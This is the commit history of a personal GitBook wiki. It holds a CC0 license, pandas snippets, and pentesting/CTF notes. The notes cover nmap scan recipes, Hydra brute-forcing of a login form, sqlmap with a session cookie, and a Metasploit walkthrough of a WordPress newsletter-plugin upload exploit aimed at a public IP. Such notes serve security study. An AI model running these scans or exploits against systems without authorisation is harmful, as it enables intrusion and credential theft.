+3. __Public License Fallback.__ Should any part of the Waiver for any reason be judged legally invalid or ineffective under applicable law, then the Waiver shall be preserved to the maximum extent permitted taking into account Affirmer's express Statement of Purpose. In addition, to the extent the Waiver is so judged Affirmer hereby grants to each affected person a royalty-free, non transferable, non sublicensable, non exclusive, irrevocable and unconditional license to exercise Affirmer's Copyright and Related Rights in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "License"). The License shall be deemed effective as of the date CC0 was applied by Affirmer to the Work. Should any part of the License for any reason be judged legally invalid or ineffective under applicable law, such partial invalidity or ineffectiveness shall not invalidate the remainder of the License, and in such case Affirmer hereby affirms that he or she will not (i) exercise any of his or her remaining Copyright and Related Rights in the Work or (ii) assert any associated claims and causes of action with respect to the Work, in either case contrary to Affirmer's express Statement of Purpose.
+
+4. __Limitations and Disclaimers.__
+
+    a. No trademark or patent rights held by Affirmer are waived, abandoned, surrendered, licensed or otherwise affected by this document.
+
+    b. Affirmer offers the Work as-is and makes no representations or warranties of any kind concerning the Work, express, implied, statutory or otherwise, including without limitation warranties of title, merchantability, fitness for a particular purpose, non infringement, or the absence of latent or other defects, accuracy, or the present or absence of errors, whether or not discoverable, all to the greatest extent permissible under applicable law.
+
+    c. Affirmer disclaims responsibility for clearing rights of other persons that may apply to the Work or any use thereof, including without limitation any person's Copyright and Related Rights in the Work. Further, Affirmer disclaims responsibility for obtaining any necessary consents, permissions or other rights required for any use of the Work.
+
+    d. Affirmer understands and acknowledges that Creative Commons is not a party to this document and has no duty or obligation with respect to this CC0 or use of the Work.
updated README.md
Show More Show Less

 # [📚 Myles' Wiki 📚](https://wiki.mylesb.ca/)
 
 👋, welcome to my personal wiki where I try and share everything I research and know.
-
updated SUMMARY.md
Show More Show Less

 
 * [Introduction](README.md)
 * [Meta](meta.md)
+  * [License](LICENSE.md)
 * [Pentesting](/pentesting.md)
   * [nmap Cheat Sheet](/pentesting/nmap.md)
   * [WordPress](/pentesting/wordpress.md)
deleted infosec.md
updated meta.md
Show More Show Less

 # About this Wiki
 
-This wiki is built with GitBook and hosted on Netlify.
-
+The inspiration for this wiki is [Nikita Voloboev](https://nikitavoloboev.xyz/)'s [GitBook](https://wiki.nikitavoloboev.xyz/) and [other people who have public a knowledge repository](https://github.com/RichardLitt/meta-knowledge#repositories).
 
+## How it's Built
 
+This wiki is built with [GitBook](https://github.com/GitbookIO/gitbook) and hosted on [Netlify](https://netlify.com/).
Oct, 01 2018

Deletes projects.md

deleted projects.md
Oct, 01 2018

Updates pentesting.md

updated SUMMARY.md
Show More Show Less

 * [Pentesting](/pentesting.md)
   * [nmap Cheat Sheet](/pentesting/nmap.md)
   * [WordPress](/pentesting/wordpress.md)
-  * [Useful Tools](/pentesting/useful-tools.md)
 * [Programming](programming.md)
   * [Python](programming/python.md)
     * [Pandas](programming/python/pandas.md)
updated pentesting.md
Show More Show Less
 root@kali:~# netdiscover -i eth2 -r 192.168.0.0/24
  192.168.0.101   e0:3f:49:14:a9:0d      1      60  Unknown vendor
 ```
 
+## Useful Tools
+
+### DIRB
+
+Searches all the directory contents on a website
+
+#### Usage
+
+```shell
+dirb http://192.168.0.104/ /usr/share/wordlists/dirb/big.txt
+```
+
+#### Resources
+
+* [http://tools.kali.org/web-applications/dirb](http://tools.kali.org/web-applications/dirb)
+* [https://github.com/seifreed/dirb](https://github.com/seifreed/dirb)
+
+### gobuster
+
+Directory/file & DNS busting tool written in Go.
+
+#### Resources
+
+* [https://github.com/OJ/gobuster](https://github.com/OJ/gobuster)
+
+### Hydra
+
+Exploiting Username and Password forms.
+
+#### Usage
+
+```shell
+hydra 192.168.0.104 http-post-form '/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid password' -L /root/usernames.txt -P /usr/share/wordlists/metasploit/password.lst -vV -t 10 -w 30 -o hydra-http-post-attack.txt
+```
+
+#### Resources
+
+* [http://tools.kali.org/password-attacks/hydra/](http://tools.kali.org/password-attacks/hydra/)
+* [https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/](https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/)
+* [http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html](http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html)
+
+### sqlmap
+
+Used for doing SQL injection stuff.
+
+#### Usage
+
+When having to log into an PHPSESSIONID auth:
+
+```shell
+sqlmap -u http://192.168.0.104/imfadministrator/cms.php?pagename=upload --banner --cookie="PHPSESSID=m0i2uapvsqlklug2tpe2a8cis2; security=low" -f
+```
+
 
 
Oct, 01 2018

Updates pentesting/useful-tools.md

updated pentesting/useful-tools.md
Show More Show Less

-# DIRB
+# 
 
-Searches all the directory contents on a website
 
-## Usage
 
-```shell
-dirb http://192.168.0.104/ /usr/share/wordlists/dirb/big.txt
-```
-
-## Resources
-
-* 
-* 
-
-# gobuster
-
-Directory/file & DNS busting tool written in Go.
-
-## Resources
-
-* 
-
-# Hydra
-
-Exploiting Username and Password forms.
-
-## Usage
-
-```shell
-hydra 192.168.0.104 http-post-form '/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid password' -L /root/usernames.txt -P /usr/share/wordlists/metasploit/password.lst -vV -t 10 -w 30 -o hydra-http-post-attack.txt
-```
-
-## Resources
-
-* 
-* 
-* 
-
-# sqlmap
-
-Used for doing SQL injection stuff.
-
-## Usage
-
-When having to log into an PHPSESSIONID auth:
-
-```shell
-sqlmap -u http://192.168.0.104/imfadministrator/cms.php?pagename=upload --banner --cookie="PHPSESSID=m0i2uapvsqlklug2tpe2a8cis2; security=low" -f
-```
Oct, 01 2018

Updates pentesting/wordpress.md

updated SUMMARY.md
Show More Show Less

 * [Introduction](README.md)
 * [Meta](meta.md)
 * [Pentesting](/pentesting.md)
-  * [nmap cheat sheet](/pentesting/nmap.md)
+  * [nmap Cheat Sheet](/pentesting/nmap.md)
   * [WordPress](/pentesting/wordpress.md)
   * [Useful Tools](/pentesting/useful-tools.md)
 * [Programming](programming.md)
   * [Python](programming/python.md)
     * [Pandas](programming/python/pandas.md)
 
-
-
updated pentesting/wordpress.md
Show More Show Less

+# WordPress
+
 ### Identify a Remote Host
 
 ```sh
 msf > db_nmap -v -sV 192.168.111.xxx
 ```
 
-![pentest-env-kali-rolling__Running_.png](resources/575CF62D4C7E18CFD40566EA08E7D588.png)
+![pentest-env-kali-rolling\_\_Running\_.png](resources/575CF62D4C7E18CFD40566EA08E7D588.png)
 
 #### Scan an Entire Network
 
 msf > nmap -v -sV 192.168.111.0/24 -oA subnet_1
 msf > search name:wordpress
 ```
 
-![pentest-env-kali-rolling__Running_.png](resources/A9D412A6F8C5F3485B429E2EA41D4CB9.png)
+![pentest-env-kali-rolling\_\_Running\_.png](resources/A9D412A6F8C5F3485B429E2EA41D4CB9.png)
 
 ### Use an Exploit
 
 msf > use exploit/unix/webapp/wp_wysija_newsletters_upload
 msf exploit(wp_wysija_newsletters_upload) > show payloads
 ```
 
-![pentest-env-kali-rolling__Running_.png](resources/67A7D5964C96C63BA11EEA707CB4A604.png)
+![pentest-env-kali-rolling\_\_Running\_.png](resources/67A7D5964C96C63BA11EEA707CB4A604.png)
 
 * This will show what software and version will be targeted:
 
 msf exploit(wp_wysija_newsletters_upload) > set VHOST myles.life
 ```sh
 msf exploit(wp_wysija_newsletters_upload) > exploit
 ```
+
+
+
Oct, 01 2018

Updates pentesting/nmap.md

updated pentesting/nmap.md
Show More Show Less

+# nmap Cheat Sheet
+
 Ping scans the network, listing machines that respond to ping:
 
 ```sh
 Display Netbios name:
 nmap -sU --script nbstat.nse -p 137 target
 ```
 
-Check if Netbios servers are vulnerable to MS08-067 (`--script-args=unsafe=1` has the potential to crash servers / services).
+Check if Netbios servers are vulnerable to MS08-067 \(`--script-args=unsafe=1` has the potential to crash servers / services\).
 
 ## Nikto Scan
 
 Scans for http/https servers on port 80, 443 and pipes into Nikto for scanning:
 nmap -p80,443 10.0.1.0/24 -oG - | nikto.pl -h -
 ```
 
+
+
Oct, 01 2018

Updates SUMMARY.md

updated SUMMARY.md
Show More Show Less

 
 * [Introduction](README.md)
 * [Meta](meta.md)
-* [InfoSec](infosec.md)
-  * [CTF](infosec/ctf.md)
+* [Pentesting](/pentesting.md)
+  * [nmap cheat sheet](/pentesting/nmap.md)
+  * [WordPress](/pentesting/wordpress.md)
+  * [Useful Tools](/pentesting/useful-tools.md)
 * [Programming](programming.md)
   * [Python](programming/python.md)
     * [Pandas](programming/python/pandas.md)
 
+
+
added infosec.md
Show More Show Less
/infosec.md b/infosec.md
new file mode 100644
index 0000000..e69de29
Oct, 01 2018

:truck: Moving CTF to Pentesting.

deleted infosec.md
Oct, 01 2018

:sparkles: Add some CTF notes.

updated infosec/ctf.md
Show More Show Less

 ## Links
 
 * [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
+* [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
+* [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
 
 ## Useful Commands
 

 ```
 root@kali:~# netdiscover -i eth2 -r 192.168.0.0/24
 
- Currently scanning: Finished!   |   Screen View: Unique Hosts                 
+ Currently scanning: Finished!   |   Screen View: Unique Hosts
 
- 4 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 240               
+ 4 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 240
  _____________________________________________________________________________
-   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
+   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
  -----------------------------------------------------------------------------
  192.168.0.1     f8:1a:67:5a:fe:24      1      60  TP-LINK TECHNOLOGIES CO.,LTD
- 192.168.0.100   a8:60:b6:3a:56:ce      2     120  Apple, Inc.                 
+ 192.168.0.100   a8:60:b6:3a:56:ce      2     120  Apple, Inc.
  192.168.0.101   e0:3f:49:14:a9:0d      1      60  Unknown vendor
 ```
 
added infosec/ctf/nmap.md
Show More Show Less

+Ping scans the network, listing machines that respond to ping:
+
+```sh
+nmap -sP 10.0.0.0/24
+```
+
+Full TCP port scan using with service version detection - usually my first scan, I find T4 more accurate than T5 and still _pretty quick_:
+
+```sh
+nmap -p 1-65535 -sV -sS -T4 target
+```
+
+Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection + traceroute and scripts against target services:
+
+```sh
+nmap -v -sS -A -T4 target
+```
+
+Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection + traceroute and scripts against target services:
+
+```sh
+nmap -v -sS -A -T5 target
+```
+
+Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection:
+
+```sh
+nmap -v -sV -O -sS -T5 target
+```
+
+Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection + full port range scan:
+
+```sh
+nmap -v -p 1-65535 -sV -O -sS -T4 target
+```
+
+Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection + full port range scan:
+
+```sh
+nmap -v -p 1-65535 -sV -O -sS -T5 target
+```
+
+## Scan from file.
+
+Scans a list of IP addresses, you can add options before / after.
+
+```sh
+nmap -iL ip-addresses.txt
+```
+
+### Output Formats
+
+Outputs _grepable_ output to a file, in this example Netbios servers. E.g, The output file could be grepped for _Open_:
+
+```sh
+nmap -sV -p 139,445 -oG grep-output.txt 10.0.1.0/24
+```
+
+Export output to a HTML report:
+
+```sh
+nmap -sS -sV -T5 10.0.1.99 --webxml -oX - | xsltproc --output file.html -
+```
+
+## Netbios Examples
+
+Find all Netbios servers on a subnet:
+
+```sh
+nmap -sV -v -p 139,445 10.0.0.1/24
+```
+
+Display Netbios name:
+
+```sh
+nmap -sU --script nbstat.nse -p 137 target
+```
+
+Check if Netbios servers are vulnerable to MS08-067 (`--script-args=unsafe=1` has the potential to crash servers / services).
+
+## Nikto Scan
+
+Scans for http servers on port 80 and pipes into Nikto for scanning:
+
+```sh
+nmap -p80 10.0.1.0/24 -oG - | nikto.pl -h -
+```
+
+Scans for http/https servers on port 80, 443 and pipes into Nikto for scanning:
+
+```sh
+nmap -p80,443 10.0.1.0/24 -oG - | nikto.pl -h -
+```
+
added infosec/ctf/useful-tools.md
Show More Show Less

+# DIRB
+
+Searches all the directory contents on a website
+
+## Usage
+
+```shell
+dirb http://192.168.0.104/ /usr/share/wordlists/dirb/big.txt
+```
+
+## Resources
+
+* 
+* 
+
+# gobuster
+
+Directory/file & DNS busting tool written in Go.
+
+## Resources
+
+* 
+
+# Hydra
+
+Exploiting Username and Password forms.
+
+## Usage
+
+```shell
+hydra 192.168.0.104 http-post-form '/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid password' -L /root/usernames.txt -P /usr/share/wordlists/metasploit/password.lst -vV -t 10 -w 30 -o hydra-http-post-attack.txt
+```
+
+## Resources
+
+* 
+* 
+* 
+
+# sqlmap
+
+Used for doing SQL injection stuff.
+
+## Usage
+
+When having to log into an PHPSESSIONID auth:
+
+```shell
+sqlmap -u http://192.168.0.104/imfadministrator/cms.php?pagename=upload --banner --cookie="PHPSESSID=m0i2uapvsqlklug2tpe2a8cis2; security=low" -f
+```
added infosec/ctf/wordpress.md
Show More Show Less

+### Identify a Remote Host
+
+```sh
+msf > db_nmap -v -sV 192.168.111.xxx
+```
+
+![pentest-env-kali-rolling__Running_.png](resources/575CF62D4C7E18CFD40566EA08E7D588.png)
+
+#### Scan an Entire Network
+
+* This will save the results to the metasploit database
+
+```sh
+msf > nmap -v -sV 192.168.111.0/24 -oA subnet_1
+```
+
+* `hosts` will list all the hosts found by `nmap`.
+* `hosts -R` will add them to the list of hosts to exploit.
+
+### Searching for a WordPress Vulnerability
+
+```sh
+msf > search name:wordpress
+```
+
+![pentest-env-kali-rolling__Running_.png](resources/A9D412A6F8C5F3485B429E2EA41D4CB9.png)
+
+### Use an Exploit
+
+* This will select an exploit to use:
+
+```sh
+msf > use exploit/unix/webapp/wp_wysija_newsletters_upload
+```
+
+* This will show you the attacks that the exploit will take advantage of:
+
+```sh
+msf exploit(wp_wysija_newsletters_upload) > show payloads
+```
+
+![pentest-env-kali-rolling__Running_.png](resources/67A7D5964C96C63BA11EEA707CB4A604.png)
+
+* This will show what software and version will be targeted:
+
+```sh
+msf exploit(wp_wysija_newsletters_upload) > show targets
+```
+
+```text
+Exploit targets:
+
+    Id  Name
+    --  ----
+    0   wysija-newsletter < 2.6.8
+```
+
+### Next configure the Exploit
+
+```sh
+msf exploit(wp_wysija_newsletters_upload) > show options
+```
+
+```text
+Module options (exploit/unix/webapp/wp_wysija_newsletter_upload):
+
+    Name        Current Settings    Required    Description
+    ----        ----------------    --------    -----------
+    Proxies                         no          A proxy chain of format type:host:port[,type:host:port][...]
+    RHOST                       no          The target address
+    RPORT       80                  yes         The target port
+    SSL         false               no          Negotiate SSL/TLS for outgoing connections
+    TARGETURI   /                   no          The base path to the wordpress application
+    VHOST                           no          HTTP server virtual host
+
+Exploit target:
+
+    Id  Name
+    --  ----
+    0   wysija-newsletters < 2.6.8
+```
+
+* Here is where we set all the options:
+
+```sh
+msf exploit(wp_wysija_newsletters_upload) > set RHOST 159.203.19.77
+msf exploit(wp_wysija_newsletters_upload) > set RPORT 443
+msf exploit(wp_wysija_newsletters_upload) > set SSL true
+msf exploit(wp_wysija_newsletters_upload) > set VHOST myles.life
+```
+
+### Run the Exploit
+
+```sh
+msf exploit(wp_wysija_newsletters_upload) > exploit
+```
Oct, 01 2018

Updates infosec/ctf.md

updated infosec/ctf.md
Show More Show Less

 ## Links
 
 * [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
-* 
+
 ## Useful Commands
 
 ### Searching a range of IP Address
Oct, 01 2018

Updates infosec/ctf.md

updated infosec/ctf.md
Show More Show Less

 # Capture the Flag
 
+## Links
+
+* [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
+* 
 ## Useful Commands
 
+### Searching a range of IP Address
+
 ```
 root@kali:~# netdiscover -i eth2 -r 192.168.0.0/24
 
  Currently scanning: Finished!   |   Screen View: Unique Hosts                 
-                                                                               
+
  4 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 240               
  _____________________________________________________________________________
    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  -----------------------------------------------------------------------------
  192.168.0.1     f8:1a:67:5a:fe:24      1      60  TP-LINK TECHNOLOGIES CO.,LTD
  192.168.0.100   a8:60:b6:3a:56:ce      2     120  Apple, Inc.                 
- 192.168.0.101   e0:3f:49:14:a9:0d      1      60  Unknown vendor 
+ 192.168.0.101   e0:3f:49:14:a9:0d      1      60  Unknown vendor
 ```
 
 
Oct, 01 2018

Updates infosec/ctf.md

updated SUMMARY.md
Show More Show Less

 
 * [Introduction](README.md)
 * [Meta](meta.md)
+* [InfoSec](infosec.md)
+  * [CTF](infosec/ctf.md)
 * [Programming](programming.md)
   * [Python](programming/python.md)
     * [Pandas](programming/python/pandas.md)
added infosec.md
Show More Show Less
/infosec.md b/infosec.md
new file mode 100644
index 0000000..e69de29
added infosec/ctf.md
Show More Show Less

+# Capture the Flag
+
+## Useful Commands
+
+```
+root@kali:~# netdiscover -i eth2 -r 192.168.0.0/24
+
+ Currently scanning: Finished!   |   Screen View: Unique Hosts                 
+                                                                               
+ 4 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 240               
+ _____________________________________________________________________________
+   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
+ -----------------------------------------------------------------------------
+ 192.168.0.1     f8:1a:67:5a:fe:24      1      60  TP-LINK TECHNOLOGIES CO.,LTD
+ 192.168.0.100   a8:60:b6:3a:56:ce      2     120  Apple, Inc.                 
+ 192.168.0.101   e0:3f:49:14:a9:0d      1      60  Unknown vendor 
+```
+
+
+
Oct, 01 2018

Updates programming/python/pandas.md

updated programming/python/pandas.md
Show More Show Less
 engine = create_engine("postgresql:///database")
 
 df = pd.read_sql_query("SELECT * FROM table;", con=engine)
 
-df.tail()
+df.head()
 ```
 
 #### SQLite
Oct, 01 2018

Updates programming/python/pandas.md

updated programming/python/pandas.md
Show More Show Less

 
 ### Connect to a SQL Database
 
-```
+```py
+import pandas as pd
+import numpy as np
 from sqlalchemy import create_engine
 
 engine = create_engine("postgresql:///database")
 
+df = pd.read_sql_query("SELECT * FROM table;", con=engine)
+
+df.tail()
+```
+
+#### SQLite
+
+```py
 import pandas as pd
-import numpy as np
+import sqlite
 
-df = pd.read_sql_query("SELECT * FROM table", con=engine)
+conn = sqlite3.connect("database.sqlite")
+df = pd.read_sql_query("SELECT * FROM table_name;", conn)
 
-df.tail()
+df.head()
 ```
 
 ### Python compatible column names with [slugify](https://pypi.python.org/pypi/awesome-slugify)
 
-```
+```py
 from slugify import slugify
 
 df.columns = [slugify(c, separator="_", to_lower=True) for c in df.columns]
Oct, 01 2018

Updates programming/python.md

updated programming/python.md
Show More Show Less

-# Python
+# Python 🐍
+
+
+
updated programming/python/pandas.md
Show More Show Less

-# Pandas
+# Pandas 🐼
 
 ## Notes
 
-*   [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
+* [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
 
 ## Snippets
 
 from slugify import slugify
 
 df.columns = [slugify(c, separator="_", to_lower=True) for c in df.columns]
 ```
+
+
+
Oct, 01 2018

:sparkles: Add a few new pages.

updated programming.md
Show More Show Less

+# Programming
updated programming/python/pandas.md
Show More Show Less

+# Pandas
+
+## Notes
+
+*   [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
+
+## Snippets
+
+### Connect to a SQL Database
+
+```
+from sqlalchemy import create_engine
+
+engine = create_engine("postgresql:///database")
+
+import pandas as pd
+import numpy as np
+
+df = pd.read_sql_query("SELECT * FROM table", con=engine)
+
+df.tail()
+```
+
+### Python compatible column names with [slugify](https://pypi.python.org/pypi/awesome-slugify)
+
+```
+from slugify import slugify
+
+df.columns = [slugify(c, separator="_", to_lower=True) for c in df.columns]
+```
Oct, 01 2018

Creates programming/python/pandas.md

updated SUMMARY.md
Show More Show Less

 
 * [Introduction](README.md)
 * [Meta](meta.md)
-* [Projects](projects.md)
-  * [django-jsonfeed](projects/django-jsonfeed.md)
+* [Programming](programming.md)
+  * [Python](programming/python.md)
+    * [Pandas](programming/python/pandas.md)
 
added programming.md
Show More Show Less
/programming.md b/programming.md
new file mode 100644
index 0000000..e69de29
added programming/python.md
Show More Show Less
/programming/python.md b/programming/python.md
new file mode 100644
index 0000000..e69de29
added programming/python/pandas.md
Show More Show Less
/programming/python/pandas.md b/programming/python/pandas.md
new file mode 100644
index 0000000..e69de29
Oct, 01 2018

Updates README.md

updated README.md
Show More Show Less

-# 📚 Myles' Wiki 📚
+# [📚 Myles' Wiki 📚](https://wiki.mylesb.ca/)
 
 👋, welcome to my personal wiki where I try and share everything I research and know.
 
updated SUMMARY.md
Show More Show Less

 # Summary
 
 * [Introduction](README.md)
+* [Meta](meta.md)
+* [Projects](projects.md)
+  * [django-jsonfeed](projects/django-jsonfeed.md)
 
added meta.md
Show More Show Less

+# About this Wiki
+
+This wiki is built with GitBook and hosted on Netlify.
+
+
+
added projects.md
Show More Show Less

+# Projects
+
+These are some active projects I'm currently working on:
+
+* [django-jsonfeed](/projects/django-jsonfeed.md)
+
+
+
added projects/django-jsonfeed.md
Show More Show Less

+# django-jsonfeed
+
+A Python library to support [JSONFeed](https://jsonfeed.org/) in Django, Pelican, and feedgenerator.
+
+* 🐙 [GitHub Repository](https://github.com/myles/django-jsonfeed)
+* 🐍 [PyPi](https://pypi.org/project/django-jsonfeed/)
+* 📖 [Documentation](https://django-jsonfeed.readthedocs.io/en/latest/)
+
+
+
Oct, 01 2018

Updates README.md